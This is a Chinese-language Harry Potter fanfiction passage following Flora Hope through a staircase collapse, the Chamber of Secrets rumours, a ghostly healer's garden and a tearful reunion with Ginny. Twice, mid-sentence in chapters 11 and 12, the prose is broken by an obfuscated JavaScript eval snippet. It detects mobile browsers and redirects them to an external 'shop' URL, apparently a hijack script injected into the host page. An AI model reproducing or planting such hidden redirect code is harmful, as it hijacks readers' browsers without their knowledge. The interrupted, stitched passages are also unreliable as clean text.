坦白讲,这个迹象实在算不上好。在芙罗拉两只手就能数过来的朋友之间,她确实在意“朋友”这个词在她心中的分量,尤其是——这迹象在金妮身上更为明显,但金妮却是她人生中第一个朋友。 但是——好奇他人的秘密? 在心里承认这件事没芙罗拉想得那么难,虽然仅仅是想想,芙罗拉就为这想法而感到难过,尽管她真的不愿意承认。在此之前,她好像真的没有为谁如此难过过。 也许还是有的,但她相信自己已经忘记了过去掺杂了太多现实因素的情绪,她毕竟是个十分擅长自我暗示的巫师。 在霍格沃滋的走廊上,芙罗拉不得不注意脚下,这些楼梯比狡猾的蛇还要肆无忌惮,压根不在意任何人的生死,只是随意地游走着,就在又一次差点踩上旋转的阶梯后,芙罗拉决定讨厌这些楼梯,就像她讨厌蛇那样。 晚上会举办万圣节晚宴,这会学生们不是在礼堂期待乐子,就是在宿舍享受平静。所以这会只有芙罗拉一人在这楼梯上进退维艰。 就在这时,她恼怒地瞪着这些楼梯,希望她的眼睛真的能有魔力定住这些该死的楼梯时,一个斯莱特林故意地走着莽撞的步伐,手臂撞上了她的后肩,她脚下一个趔趄,紧紧地抓住了这楼梯唯一的安全保障——扶手后,她的愤怒立刻延伸到眼前的斯莱特林身上。 她确信他是故意的,没人能在差点把人从这该死的楼梯上撞下去后,还摆着一张幸灾乐祸的可恶脸蛋。 “瞧瞧。”他选了个阴阳怪气的开场白,“这不是一个霍普吗?选择了韦斯莱的纯血叛徒。真为你的眼睛感到惋惜,它堕落到看上了韦斯莱猪圈的一只红发母猪。” “滚。”芙罗拉说。“恐怕纯血没教会你说话的素质,阿比盖尔。” “诶——”他恶心地笑了一下,“你在生气吗?” “……”芙罗拉已经不打算理他了,跟这种人讲道理是一件很没有道理的事,她会在心里觉得自己非常愚蠢。当然,如果阿比盖尔接下来还是像个管不住嘴的小丑一样喧哗,她相信自己会找到一个任何人都挑不出错的时机给他一个教训。 阿比盖尔“嘁”了一声,“没意思。现在你不仅是个纯血叛徒,还是个无趣的纯血叛徒了。” 说着,他依然挂着那副高傲而讨厌的脸,往前一迈,一脚踩空了台阶。 芙罗拉还没反应过来,就看见一个后脑勺像在做向下魁地奇运动一样坠落,她疑惑并惊讶地“啊”了一声,想也不想就往前扑抓住了阿比盖尔的手,阿比盖尔完全是受到了莫大惊吓的模样,像海滩上扑腾挣扎的鱼一样无助。 “你、你——抓好我!梅林的诅咒,这该死的楼梯,我要让我爸爸拆了这鬼东西!” “省点力气吧。”感觉自己的手都要被拽断了,芙罗拉想起来她是个巫师,那么可以施个咒语解决现在的情况,悬浮咒对活人应该是可行的。于是她艰难地拿出魔杖,由衷地决定要更加认真地对待弗利维教授的课。 魔咒课简直太有用了。 痛苦地把阿比盖尔拉回地面后,两人都气喘吁吁地瘫倒在地,但噩梦仍未结束。 芙罗拉惊魂未定,上气还没接上下气,她倒吸了一口气,眼睁睁看见旋转的楼梯毫无征兆地从上至下,从里而外地裂开,发出自毁的哀鸣。尘埃般的颗粒物瀑布一样向下倾落,阿比盖尔面容扭曲,像是想要尖叫一样大张着嘴,实际上没能发出任何声音,轰鸣声不断逼近,在这紧急的时刻,芙罗拉还能抽出时间先翻个白眼,然后再一次抓住完全没有解决突发事件能力的阿比盖尔飞快跑起来。 “……霍格沃滋应该翻新改造了——”在他痛苦的咳嗽声中,芙罗拉仍能听见他咬牙切齿的抱怨,她讨厌这样。因为两个人一起抱怨会让恶劣的环境更加恶劣,但她忍不住开口抱怨。 “闭嘴吧。”最后,她挤出几个字,不太希望自己的表情看起来生无可恋。 “我为什么要听你的,叛徒霍普。”察觉到后面逐渐减弱的声音,阿比盖尔脸上的苍白褪去了些。 芙罗拉同样察觉到处境的好转,她一把甩开了阿比盖尔的手,迅速给自己施了个“清理一新”。 相当一致,阿比盖尔也迅速地黑了脸。 “哈!”他扯出了标准的阿比盖尔式笑容,看上去更像是某种爬行生物了。他慢慢地从袍子里抽出魔杖,有那么一个瞬间,芙罗拉做好了反击的准备,但他只是同样施了个“清理一新”,并且不屑地看了她一眼。 “我想我会跟斯内普教授汇报一下霍格沃滋糟糕透顶的室内装修,以及我的父亲。邓布利多会为他的自大付出代价。”他自言自语,狼狈不堪,却挺直背,竭力保持优雅。这或许是他唯一一个优点,归功于刻板的纯血教育。 “再见了,叛徒霍普。真是看到你就让我想起那个野蛮的韦斯莱。” 芙罗拉决定真的给他一个教训,她总会找到一个合适的机会。麦格教授姗姗来迟——看来魔法并不能预言事情的发生,尤其是坏事。她先是面色难看地匆忙挥舞着魔杖在芙罗拉身上做一些魔法检查,然后凝重地注视着现在可以称作废墟的楼梯。阿比盖尔非常明智地一走了之。斯内普的心总是向着斯莱特林的,而麦格教授的心却比天平还要公正。 “真庆幸你没出事,霍普小姐。”这位教授的眼底怀着真切的担忧,芙罗拉短暂的失言后才意识到这是学校的失误,而不是她有间接的参与而闯出来的祸。 幸好她在麦格教授来之前就治好了她手上和腿上摩擦的伤口——至少那看起来完全不像个伤口,她庆幸于自己在治愈方面的小小天赋,这让她至少在清醒的时候不至于踏入医务室的门——那感觉一定跟待在小型圣芒戈一样。 “希望我没能错过接下来的万圣节晚宴 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“她在那边,我们没看见你,就说好分头来找你了。”金妮皱起眉,“意外?什么意外?你没事吧?受伤了吗?这又关邓布利多什么事了?” “说来话长。” “总之,你没事就好。”金妮无话可说,耸了耸肩,“晚宴还没开始,据说幽灵们自己也准备了一个派对,真可惜,没头尼克把自己吹嘘的那么英勇,还以为今天终于能看到其他无头幽灵嘲笑他的样子了。” “我还以为能看到幽灵跳舞的样子呢。”芙罗拉说。 “好像霍格沃滋真的请了个什么乐团来表演,还挺值得期待的。” 芙罗拉环顾四周,人山人海,珀西和几个级长一同维持秩序,收效甚微。 金妮咳嗽了几声,配上她苍白的脸显得更可怜了,“真糟糕,我本想参加完这次万圣节晚宴的,但我实在不舒服,恐怕不得不去拜访一下庞弗雷夫人了。” 芙罗拉奇怪地看了她一眼,咽下了“你怎么突然这样说话”的疑惑,点了点头,“你看起来不是很好。需要我陪你去医务室吗?” 金妮坚决地摇头,“我自己就行。” “好吧。”芙罗拉说,“照顾好自己——真的不需要有人陪你?” “不。”金妮拢紧了巫师袍,“玩得愉快,这肯定会是个非常好玩的晚上。” “嗯。”芙罗拉心不在焉地目视着金妮离开,然后才加入到兴奋的学生中,霍格沃滋确实花了大手笔,乐团的演出非常精彩,但芙罗拉却一连打了好几个哈欠。埃拉后来也找到了她,之前她似乎在赫奇帕奇长桌那边寻找她的身影。 “太好玩了,你看见刚刚那个喷火的白发老爷爷吗?他太棒了!” 芙罗拉敷衍地点头,期待晚宴的结束,时间似乎过得非常、非常的漫长,她拿出了麦格教授的万圣节糖果,并分享了一些给埃拉。 “我敢说这是最棒的万圣节!”埃拉随着人群尖叫着说。 “很符合我对节日的要求——非常平静。”芙罗拉附和说。 不到半个小时,就在晚宴结束后不久,芙罗拉决定收回这句话。 这个万圣节一点也不平静。 10. 第 10 章 你有——察觉到吗? 一定不会相信吧。 已然无从得见的。 奇迹的魔法。 啊啊。 这样是不行的。 请—— 听从内心的声音? 听吧,如果是你的话, 你能听到吧——要完成奇迹的话, 直至燃烧殆尽。 * 霍格沃滋最近人心惶惶,费尔奇发狠地加大了巡视的力度,金妮的精神越来越差,特别是被关禁闭后。 “斯莱特林的密室”。 ——“你听说了吗”,以这句话开头的对话即使在图书馆也是司空见惯。芙罗拉为这蜂鸣般的声音心生厌烦,她抬起头,不出所料地一眼就看见了赫敏·格兰杰埋头于书本的身影。 哈利·波特。他现在更是个名人了,人人都在讨论他,揣测他,甚至宣称他就是“斯莱特林的继承人”。说实话,还挺烦人的。 现在赫敏叹了一口气,但脸上却没有不耐烦的表情,万圣节那天她也在现场,或许她知道内情也说不定。 啊,说起万圣节,其实真要论发生了什么,倒是与芙罗拉无关,只是费尔奇的猫出了事,或许是哪个霍格沃滋学生看不顺眼费尔奇才做的恶作剧,利用上了学院怪谈吧。 只是倒霉蛋哈利·波特撞上了枪口这种程度,芙罗拉不明白为什么大家会同时抱着莫大的热情和恶意来讨论这种事。 唯一值得可怜的,唯有被石化的洛莉丝夫人。 “那个,霍普?” 有人在喊她,声音很小心翼翼,芙罗拉回神,看向来人——是乔治·威尔,这名字普通到让记忆变成了一件困难的事,很难说有没有本人的因素在。 “有什么问题吗?”芙罗拉问。 “额……”威尔尴尬地挠了挠后脑勺,拿着一本书递给她看,“关于这点,我不太明白。” “哪里不明白?”芙罗拉边问边扫过一行。自从上次他们在图书馆同桌后,芙罗拉每次在图书馆都能看见威尔的身影,一来二去的,他们也有了些交集,威尔会在碰到他难以解决的问题时鼓起勇气来问芙罗拉——芙罗拉能用眼睛看出来他几乎是用了他身体里为数不多属于勇气的部分。 芙罗拉翻到书的封面——《魔法起源》。威尔大概是想用这本书作为宾斯教授作业的参考,笔记上密密麻麻。 上面这样写道。 〈恐怕要令翻开这本书的巫师失望了,因为我并不想在这里探讨关于魔法的起源到底是什么这种问题,这太复杂了——巫师血脉、神秘物质、进化或者随便什么,我要说的是,这些在本书中都不重要。 但是,你一定很不甘心吧,明明付出了时间,却一无所获。现在你应该想立刻关上书页,把这本书丢得远远的吧。 呵呵,要真是这样,我得夸你是个聪明人了,因为接下来我要说的,全部都是一些胡话,至于真假,如果你相信,那便是真的;假若你否认,嘿,会有什么影响呢? 过去我认为,魔法的起源主体在人,或者说是巫师,只有巫师才能施展那些麻瓜无法做到的事,也就是我们称之为的“奇迹”。也就是说,巫师的存在便是魔法的根本。 然而,从本质上看,魔法可以属于任何人,它源自一种抽象的力量,一种无法被轻易描述的力量,它比魔法本身更为强大,能轻而易举地达成真正的奇迹。 好了,一个愚蠢的小问题:相信还是否认?这关系到你是否是个聪明人。〉 “我认为这跟宾斯教授布置的作业无关。”芙罗拉说,面无表情。 “但我还挺感兴趣的。”威尔小声说,“玛莉莲安娜——这本书的作者,是一个伟大的巫师。她在上世纪的第三次巫师战争中拯救了很多被战争牵连的巫师,虽然结局……不过她还是被历史认可了。” 芙罗拉做个了变扭的表情,但没说什么。她继续翻下去。 〈如果你选择相信,那你可真是个蠢货,就像我一样。 不过,巫师中流传着一句,“别总是相信那些聪明的巫师,他们往往不会告诉你真话”,单看这一点,说不定我也是个值得信赖的巫师呢。 魔法本身是不会产生魔法的,即使是最伟大的巫师,也绝不会,在这背后,一定存在着某种驱动力,这种驱动力将成就一切,比力量更为珍贵。〉 芙罗拉关上了书,“如果这本书的作者能像魔药学课本或是教材书一样说人话的话,我想我还不至于为我浪费的时间痛苦。” “呃……”威尔一副想反驳又不敢反驳的样子,或许他应该跟格兰芬多学学,传统意义上的。 “嘿!”埃拉抱着一堆书走过来,眼下一片青黑,看来她终于意识到学习的重要性了。 “芙罗拉,还有乔治!我不知道你们两认识。”她热情地说,虽然不幸地引起了平斯夫人的注意。 芙罗拉听到她说,习惯性地把头往后转,结果没发现乔治的影子,才意识到她指的是另一个“乔治”。 “嗨,埃拉。第一次看见你主动踏进图书馆的门。我还以为只有期末考试将近这种情况才会出现。”芙罗拉说。 “噢,我也不想。”埃拉抓着头发说,“谁稀罕那些历史——不、不,乔治,别瞪我,我是说,我是个巫师,对文字不感兴趣。尤其是,你懂的,无聊的文字。” “我不知道你们已经这么熟了。”芙罗拉若有所思。 “私人时间。我们都有些……嗯,其它的朋友不是吗?你也有一些,对吧?”埃拉耸耸肩,一副轻松的样子。 “也许。”芙罗拉认真思考了一阵,回答说。威尔举起手,试着打断对话,“那个,你要不要看看这个?”他把书递给埃拉,埃拉先翻到封面看了看作者是谁。 “玛莉莲安娜?我知道她,她在麻瓜世界里挺有名的,最后却消失不见了,麻瓜们说她是在哪个无人打扰的地方安静地逝世了——因为没人找到她的尸体。” “事实上,”威尔深吸一口气,像终于找到了主场,“她在巫师世界也很有名,你听过‘花园幽魂’吗?就是她。” “我不是说了吗,我对历史不感兴趣。”埃拉翻翻眼睛,随意地翻了几页。威尔继续说。 “她原本是一名圣芒戈的治疗师,后来巫师届爆发了第三次战争,她就脱离了圣芒戈,专门为那些在战争中流离失所的 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难道应该打个招呼吗?但他们好像也不是很熟,这次他们也没挡路,果然还是装作没看到比较好吧。 芙罗拉镇定地维持平稳的表情,悄悄加快脚步想着快点越过这对像是固定出现在猫头鹰棚的两人。结果波特——爱恶作剧的梅林,他不应该注意到她的——叫住了她的名字。 “你是,霍普是吗?”波特看起来很是友好,尽管他的圆框眼镜都充满了愁苦与烦闷的味道。 芙罗拉停住了脚步,“你好,波特。” 波特无意识地伸手放在脖颈上,芙罗拉沉默地看向他,大概沉默了有一个霍格沃滋那么长的时间,海格发话了。 “噢,”他亲切地扬起嘴角,虽然被浓密的,长而粗糙的胡子挡住了,但这阻止不了他声音中的热情,“你是那个格兰芬多的学生。” 这要怎么回答——是的,我是? “很抱歉打扰你们的对话,我得走了。以及,我确实是个格兰芬多的学生,只要分院帽没老旧到喊错名字的话。”芙罗拉眨眨眼,“那么,祝你们渡过一个愉快的下午。” “啊,你、你也是啊。”波特仍是那副手足无措的样子,肯定是韦斯莱对他说了些什么,考虑到波特和芙罗拉狭小的交际圈。海格就不一样了,他大笑起来,简简单单就做了个告别。 虽然有些曲折,不过还是顺利到达了猫头鹰棚,芙罗拉欣慰地拍了拍罗宾扑闪的翅膀,取下了信。她抽了抽鼻子,闻到一股细微的啤酒味。 信的内容非常简单。 【好,勿念。】 这便是全部的内容了。 “辛苦你了罗宾。”芙罗拉亲昵地抱住罗宾的头,罗宾扇动着翅膀叫了好几声。 等芙罗拉回到宿舍的时候,已经是踩着门禁和级长的底线了。金妮和埃拉竟然都不在,于是她打算去洗个澡早些睡了,但她刚走到公共休息室时,便见一个不认识的格兰芬多学生气喘吁吁地跑进来,上气不接下气地正要说些什么,格兰芬多的级长珀西就跑了进来,严肃地对所有人说。 “出事了。” 11. 第 11 章 血,黑色的。 红色的尸体。 有东西在追我。 有东西要从喉咙里刺出来。 眼睛。 黏液。 触手。 我被抓住了。 身体不受控制。 …… 难道是你吗。 汤姆。 * 有学生出事了。珀西提高声音,在嘈杂的公共休息室没起到什么作用。有人大胆地看向哈利·波特,他的表情很是惊讶,脸上迅速地染上一种不好看的苍白。 韦斯莱——罗恩·韦斯莱大声说,眼睛瞪得比牛还大:“你们看哈利做什么?!” 一些人心虚地转过头去,另一些人则理直气壮。 芙罗拉左看右看,金妮和埃拉仍没回来,她承认自己有些担心,趁大家还在混乱时,她悄悄溜出了格兰芬多公共休息室。当然,这并不是一件容易事,她得说多亏了韦斯莱双胞胎给她的飞磷粉,以及珀西疲于对待躁动的学生而懈怠的精力。 走廊上空无一人,你再也找不到第二个如此安静的夜晚,芙罗拉听着自己脚步的回音,心中的不安不断放大,这让她惯常喜欢忽视的细节开始显现出浮出水面的趋势。 但是没有,她遏制住了那个不详的趋势。她发誓放弃好奇心。 飞磷粉的作用开始失效,提高了她被发现的概率。不过那又怎样,无论如何她都会找到金妮,和埃拉的。 她最先想到的是霍格沃滋的厨房,所以她决定往赫奇帕奇公共休息室的方向走去,脚步要轻,不能吵醒酣睡的画像,她记着费尔奇巡逻的路线,同时同时预防着特殊情况的发生,时刻攥紧巫师袍里的魔杖。 在芙罗拉认为已经不会有人的时候,走廊里出现了别的脚步声,她立刻停止了行动,并施了一个无声无息。 先是麦格教授的声音,之后是斯内普阴沉的说话声,最后芙罗拉听到了邓布利多低沉而苍老的声音。 “科林·克里维,那孩子还只是一个一年级的学生!”麦格教授的语气充满愤怒。 “哈,鲁莽的格兰芬多。”斯内普冷冷地评价道。 “关于这件事——”邓布利多沉吟了一会,“你们有没有什么想法?” “我知道最近学生们都在传言‘斯莱特林的密室’被打开了。”麦格教授说,稳重下隐藏着愤怒,“但我们已经彻查了霍格沃滋,阿不思。没有发现这种地方。” 邓布利多点点头,转向斯内普,“你觉得呢,西弗勒斯?” “我不认为我的哪位学生会是斯莱特林的继承人。”斯内普的语气听上去阴冷而不屑,“我会制止这种无稽的谣言,邓布利多——用上一些,惩罚的方式。”他配合似得露出一抹残酷的微笑,“关于解除石化的魔药,庞弗雷夫人和我已经在准备了,斯普劳特教授也在等待曼德拉草的成熟。” 邓布利多的眼神中带着鼓励,“无论如何,我为霍格沃滋能有你们而感到骄傲。” 接着,他的目光就不再放在两位教授身上,而是看向了更远方,他似乎想到了什么,苍老的眼睛难以置信地迸发出耀眼的活力。 “我已经很久没听到有关‘斯莱特林密室’的传说了。”他的目光突然锁定了某处,芙罗拉的心跳渐渐加快。 然后,他截住了话头,往前迈了几步。一步,两步,越来越靠近芙罗拉所在的位置。 冷静。芙罗拉手持着魔杖,魔咒并未失效,邓布利多可能发现了她,但也可能仅仅只是直觉上想过来看看——不能忽视直觉的重要性,尤其是像邓布利多这样领导型的巫师。但假若他真的只是仅仅走过来,绝对不能轻举妄动。 如果真的被发现了,并不是最坏的情况,那样她可以告诉邓布利多金妮和埃拉疑似“失踪”的情况,自己受点罚似乎也没什么。 那么,既然没什么,为什么不去求助于教授呢? 芙罗拉紧紧盯着邓布利多越来越近的脸,这时她开始尝试平稳心跳,用可怕的心理暗示强制成功。 邓布利多停下了脚步,麦格教授问,“你发现什么了吗,阿不思?” 邓布利多似乎眨了眨眼,非常不像个老人的,那种淘气的眨眼,芙罗拉不由得好奇他接下来的回答,尽管她离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201269|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “危险”越来越近。 “在我还年轻的时候,”邓布利多带着一个小小的微笑说,“曾经发生过一起不幸的事件,那时这件事也牵扯到了密室,但最终仍被证实与此无关,尽管我对此保持怀疑——” “对了,”他停顿了一下,继续说,“今晚的霍格沃滋很安静啊。” 麦格教授和斯内普齐齐一愣,然后斯内普先开口了,他看了一眼麦格教授,嘴边的话一转。 “缺少了一些……不守规矩的学生。”斯内普说。 “也许是因为这个地方。”麦格教授说。 这个地方? “安静,却也没那么安静。”邓布利多轻声说,“注定是个奇怪的夜晚。” 他最后望着远处,意义不明地微笑着,背过身,冲着麦格教授和斯内普说,“去庞弗雷夫人那看看吧。” 芙罗拉没有移动身体一下,静静地看着他们远去的背影。 良久。 “咒立停。”指尖发冷,芙罗拉的声音比虫蝇扇动翅膀的声音还要小,她感觉到发麻的腿一阵无力,她撑着手臂尽量快速的走着。 这个地方。 麦格教授的话在脑海中回响。芙罗拉克制不住地希望自己不幸的预感从未实现过。 事实恰恰相反。 芙罗拉走了不知道多久,喉咙里干渴地生疼,于是她终于意识到了什么,停下了脚步。 无路可逃。 无论怎么走,相同的路也不会改变,她走的地方从始至终都是一样的。就像一个死路迷宫,纵使里面弯弯绕绕,也永远逃不出去。 眼中是灰白的墙壁,没有画像,眼前是一条幽深的走廊,没有活物。耳边只有自己的呼吸声在一深一浅的活动着。 无路可退。 芙罗拉抿起唇,握住魔杖的手没有一丝颤抖。 “咒立——” “哎呀,你一定是——” “需要我的帮助吧?” 被截住了咒语,眼前的景象却发生了变化。像是灰色接受了彩色,芙罗拉迷蒙着眼睛,看见了蓝天白云和一大片洋甘菊。 12. 第 12 章 准确来说,不只是洋甘菊,这里应该称得上是一座花园,种植着各种不同颜色的,叫不上名字的花。在这群花朵中间,有个格外显眼的庭院,之所以说它显眼,是因为那庭院看上去简直不像个庭院,呈现出一种梦幻的粉色,看起来坚固非常,没有一丝缝隙,在阳光下闪着锋利的光亮。 除了花,便只有那座庭院了。芙罗拉带着犹豫往那座庭院走去,这段路非常长,能感觉到微风经过时,往后轻轻拉扯的发丝。越往里走,像是知道来客了一样,花朵摆动着,芙罗拉竟然产生了一种它们在为她让出一条道路一样的幻觉。 突然,白色的,有如羽毛一般轻柔的毛绒物从天空之上簌簌地抖落着,芙罗拉抬头看见花丛中凭空出现了一块立牌,上面写着。 【春天与冬天的距离并不遥远。 乐园将永远等待下一个春天。】 经过立牌后,那座庭院似乎近在咫尺,芙罗拉发现那竟然完全是由水晶打造而成的,庭院四周分别摆放着四根粗长的圆柱,顶端有水晶锁链缠绕着庭院,她抬头望着这幅景象,心里突然被某种沉重而打动了。她不由得迈开步子,往更深处走去,她走到了庭院的大门,惊讶地发现门自动打开了,发出了古旧的声音,像是很久未曾迎接客人一样,它显得对此很是陌生。 她走了进去,里面或许存在危险,但她发现自己不得不这么做,一种力量驱使她这么做,她的预感前所未有的强烈。但她停在了离大门不远的位置,身体僵直着,大脑理智的部分尖叫着让她离开,她感觉又热又冷,那种喉咙干渴的痛苦一瞬间又回来了。 你不知道你正在经历什么,这会造成你难以想象的后果,想想吧,别陷入到同一个陷阱里! 因为什么而跑出来,你需要的不是满足你自己的好奇心,而是去寻找金妮,你在本末倒置。 你也知道吧,她这段日子的不对劲。你只是在装聋作哑,对自己的担心视而不见!那么你为什么跑出来,明明只要继续视而不见就好了,明明没这个必要吧! 够了! 脑袋一阵钝痛,像是有上百只蝙蝠嚎叫,芙罗拉双手捂住太阳穴的位置,身体仍旧僵直着。 庭院里还是一片梦幻般的颜色,只是缺少了花朵,少了鲜活,多了诡谲,芙罗拉往上看去,上面不在是粉色,却是黑色的穹顶,雕刻着无法理解的金色的纹路。 耳边莫名传来一段旋律,像是竖琴发出的音乐,仿佛被引诱一般,她奇异地不再感到痛苦,她迈出脚步,音乐声越来越大,悠扬的琴声振聋发聩。 庭院里最中心是螺旋向上的楼梯,还是由水晶打造而成,她顺着楼梯往上,阶梯清澈透明,只要低头就能意识到自己的高度。 到了楼梯的尽头,她继续往深处走。这里没有梦幻,更没有花朵,是一片白色,让芙罗拉想到了圣芒戈的房间,同样是一片白。 不知道走了多久,乐声越来越清晰,视线中出现了一个女人,她背对着芙罗拉,戴着一个宽到足以包裹住她的黑色檐帽,黑色的袍子遮住了身体,戴着黑色手套的手正在拨弄着竖琴。 “哎呀,亲爱的,为何彷徨于此地呢?” 女人说话了,她没有转过头,飘渺的声音散在空气中。 “你是谁?我为什么会在这里?这里是哪里?” “这里是我的花园,孩子,专门为那些遇见了困难的人们准备的乐园。” “那么,”芙罗拉冷冷地问,“你是谁?” “我?”女人似乎是笑了,“一个死去的幽魂罢了,生前是一个不起眼的治疗师,现在是一个费心经营花园的花匠。” “会来到这里,你一定是需要我的帮助吧。” 女人终于转过身来,她的面庞是如此平静,就像望不到边的蓝色海洋,亚麻色的头发被随意的扎起,无端让人想起乡间小路上牧羊人随口唱起的歌谣,里面有田野、阳光和向日葵。同时,女人黑色袍子下是一袭黑银色的长礼裙,她看起来简直像穿着一身盔甲,没有一丝裸露。 她静静地看着芙罗拉。 “帮助?”芙罗拉勾起一抹冷笑,“我并不需要帮助,这位夫人。” “哎呀,可是,”女人说,“你来到了我的花园,就证明你的心正在为某事而痛苦着。” “那么你呢?”芙罗拉问,“你在这个花园里,一直痛苦着吗?” “……呵呵。”女人说,“这个花园,曾经可是比现在还要美丽啊。” 她提起裙摆,朝芙罗拉鞠了一躬。 “欢迎来到我的乐园,客人。当你从乐园醒来时,自会达成所愿。我愿意给予你我最真心的祝福。愿这趟旅途不会让你感到无聊。” 她伸出手,“那么,你愿意跟我一起去花园走走吗?” “我为什么要——” “因为,”女人笑眯眯地说,“你需要帮助啊。” 她低垂着眼,脸上流露出母亲般宽容的微笑。 “能来到这座花园的,归根到底都是同一种痛苦——为自己而感到的痛苦。” “什么……意思?” “嗯……”她停了好一会,像是不知道如何用言语表达一样。 毫无预兆的,她蹲下身,左手抚上了芙罗拉的侧脸,黑色的皮质手套与肌肤相触的瞬间,芙罗拉抖了抖,为这刺骨的冰冷。 “啊,真是的,你一定很难受吧。”她迅速抽回手,不安地交叠起来。“自从我死后,我总是忘记温度。” “手套里,是什么?”芙罗拉问,“你的手……” 她疑惑地哼了一声,然后才意识到芙罗拉的话。她摆摆手,不在意地笑了一声,“会吓到你的哦。” “现在,你愿意陪我去花园走走吗?” “……” 这个人,根本是自说自话啊。 “……金妮在哪里?” “嗯?” “……”芙罗拉动了动嘴唇,“很抱歉,我已经没有时间浪费在这里了。” 她直视着女人的眼睛,“我不知道什么帮助和痛苦,但是现在我的朋友可能真的需要我的帮助,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201270|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恳求您,我必须拒绝您的邀约。您说过吧,离开乐园便能达成所愿。” “时间不会很长哦。” “——与时间无关吧。”芙罗拉拿出魔杖,指着女人,“没有可以为此浪费的时间了。” “……哎呀。”女人说,“你的朋友很安全哦。” “与那无关。”芙罗拉说,仍然指着女人,“很抱歉对您如此无礼——玛莉莲安娜夫人。” “诶……这可真是,”女人,或者说玛莉莲安娜皱着眉,却带着少女般的甜美笑意说,“被拒绝了啊,还是用这么严厉的方式。明明我是真的很想帮助你,你也仍要拒绝我吗?那些痛苦没有一天不在折磨你吧。” “……我知道。”芙罗拉说,坚冰一样的声音陡然融化了一些,“我知道的。” 在那一瞬间,玛莉莲安娜第一次看见那孩子确实是笑了。 “痛苦对你来说意味着什么呢?”她好奇地问。 “如果你接受我的拒绝,我就回答您。”芙罗拉说。 “有人说过你是个很温柔的孩子吗?” “……曾经有。” “是吗?那真是太好了呢。”玛莉莲安娜最终叹了口气,“不过你同时也是个很难搞的孩子呢,真可惜,我的花园已经很久没有来过客人了。如果下次我在这里开一场茶话会,你会接受我的邀请吗?” “假若您愿意接受我的再访,那么,不胜荣幸。”芙罗拉看向玛莉莲安娜的双手,“那里面已经……” “这样啊——”玛莉莲安娜的声音像是她自己弹奏的琴音一样悠扬,她慢慢地摘下手套,露出了里面的白骨,“我已经开始期待了哦。” 她从袍子里抽出魔杖,低声念着什么,芙罗拉顿时感觉到来时一般的晕眩,耳边仍响起着玛莉莲安娜的话。 “对了,痛苦对你来说究竟意味着什么呢?” “……过去。”芙罗拉低声呢喃着,“过去,就是我仍拥有的全部幸福。” 突然,芙罗拉想到了什么,她勉强睁开眼,大声问,“您说的那个,能达成真正的奇迹的,比魔法本身更为强大的的东西究竟是什么?” “咦,你居然看过我的随笔啊,现在想来还真是感到羞耻……”玛莉莲安娜捂住脸,分明是森冷的、冒着死皮的骨指搭在有如少女的脸上,芙罗拉却再一次忍不住被某种沉重打动了。 “是爱哦!”她听到她大声说,“顺便说一句,在逃避下去的话,就要跟重要的东西失之交臂了!” “……呕恶……咳咳……”感觉胃里翻江倒海,芙罗拉跌倒在地上,大口大口地呼吸着。 脑袋发沉,她勉力起身,面前只有一条通道,她便朝前走去。越往前走,越能听见一阵哭泣声,这声音太过熟悉,又因为是哭泣而显得那样不真切。 那条通道渐渐变成了一道虚影,芙罗拉的声音虚弱地回响着,眼泪突然夺眶而出。 “还说有事一起面对,结果却一个人躲在这里吗,还真是狼狈啊,你这个笨蛋。” 芙罗拉哭着说。 13. 第 13 章 说到底,人生是自己的。 从小听着弗雷德和乔治口中嚷嚷着这句话,金妮耳朵都要长茧子了。但即便是听了这么久,真要她也说人生是自己的这样的鬼话,那就比罗恩吓唬她的鬼故事还要惊悚了。 说到底。 人生才他妈的不是自己的。 * 所谓近乡情怯,放在人身上,恐怕就是明明你在我面前,我却不知道该跟你说什么。 “到底出什么事了?”尴尬地哭泣过后,芙罗拉的嘴唇张张合合了几次!,她一步步走向金妮。两个人都满脸泪痕,一时间单看样子竟比不出谁更惨些。 金妮呆呆地看着她,就像她根本没想到这么晚了还有人到这里找她一样,问出的话也傻的可爱。 “现在不是宵禁了吗?” 芙罗拉真心想翻个白眼了,“这就是你大半夜不睡觉跑来这种——这是什么地方?” 金妮愣住了,忍不住左顾右盼,然后说,“我也不知道……好像突然就……”她声音越来越低,“到这里了……” “什么啊,”芙罗拉伸出手擦了擦金妮眼角的泪痕,低声说,“你是瞎逛到这里的?” “……哈……”金妮面有难色,“嗯……我不知道。” “是吗?”芙罗拉在心里叹了口气。 金妮的状况何止是不好,简直是差到了一定境界。有如水鬼缠身一般,她的脸苍白而冰冷,红发暗沉地黏在两颊,金妮打了个冷颤,痉挛般地颤抖起来。 芙罗拉抱住了金妮,像是没反应过来,金妮仍旧颤抖着,她的身体也是冰冷的,有几丝红发同时黏在了芙罗拉的脖子和脸上,她们的呼吸起初不规律地上下起伏着,随着金妮小声地啜泣而渐渐同步。 “你会告诉我发生什么了,对吗?”芙罗拉拍着金妮的后背,问道。 “你会相信我吗?”金妮的声音断断续续地传到芙罗拉的耳中。 芙罗拉想了想,肯定地说信。 金妮笑了笑,说自己没事。她手指抖了一下,抹去了芙罗拉脸上的泪痕。 “你信吗?”金妮问。 “……”芙罗拉说,“只要是你说的。” 金妮走神了,在她说完这句后,然而并非发呆一般无神的双眼,却是一种,一种更加复杂导致无法辨认的情绪。为了掩饰什么般,她挪开了视线,用梦吟小声地说。 